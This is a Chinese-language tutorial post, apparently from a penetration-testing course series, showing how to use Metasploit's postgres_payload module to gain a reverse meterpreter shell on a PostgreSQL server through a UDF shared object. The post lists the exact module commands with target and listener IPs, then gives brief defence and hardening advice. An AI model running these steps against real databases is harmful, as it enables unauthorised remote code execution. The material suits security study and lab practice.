当前位置:网站首页>6-23漏洞利用-postgresql代码执行利用
6-23漏洞利用-postgresql代码执行利用
2022-08-01 03:54:00 【山兔1】
postgresql代码执行利用
利用msf下 postgresql 的代码执行模块,获得反弹shell。
我们在使用该模块的时候,可以使用命令获取对应的信息
search postgresql
use exploit/linux/postgres/postgres_payload
show info
在某些默认的PostgreSQL Linux安装中,postgres服务帐户可以写入/tmp目录,也可以从那里获得UDF共享库,从而允许执行任意代码。该模块编译一个Linux共享对象文件,通过二进制注入的UPDATE pg_largeobject方法将其上传到目标主机,并从该共享对象创建一个UDF(用户定义函数)。因为负载是作为共享对象的构造函数运行的,所以它不需要遵循特定的Postgres API版本
show options
set rhosts 192.168.1.105
set lhost 192.168.42.128
exploit
很快建立了会话,并且反弹了meterpreter
?
ps
shell
返回一个shell,我们看到反弹回的并不是root shell,而是反弹回postgres shell,它的权限依然不是最高的权限
防御修复
防御:屏蔽任意IP连接postgresql,指定具体的IP地址,来连接postgresql,在一定程度上防御了远程位置IP,连接postgresql的风险
修复:在postgresql出现问题的时候,升级版本,避免出现安全事故,同时也要对默认安装好的软件,进行安全配置,防止默认配置造成的安全隐患,在实际的生产环境当中,我们无法做到快速升级版本,一个东西可能涉及的软件,还有很多,这个时候,我们采用更多的是,安全配置,以及防御的方式,来防止,我们这种软件,受到安全威胁
边栏推荐
猜你喜欢
随机推荐
Software Testing Interview (3)
The maximum quantity leetcode6133. Grouping (medium)
【无标题】
最新 955 不加班的公司名单
项目越写越大,我是这样做拆分的
Write a method to flatten an array and deduplicate and sort it incrementally
How to download the Keil package
Basic Theoretical Knowledge of Software Testing - Use Cases
The kernel's handling of the device tree
【愚公系列】2022年07月 Go教学课程 024-函数
IJCAI2022 | Hybrid Probabilistic Reasoning with Algebraic and Logical Constraints
test
A way to deal with infinite debugger
The fledgling Xiao Li's 113th blog project notes: Wisdom cloud smart flower watering device combat (2) - basic Demo implementation
leetcode6133. 分组的最大数量(中等)
【愚公系列】2022年07月 .NET架构班 085-微服务专题 Abp vNext微服务网关
Four implementations of
batch insert: have you really got it? pdb drug comprehensive database
leetcode6132. Make all elements in an array equal to zero (simple, weekly)
时时刻刻保持敬畏之心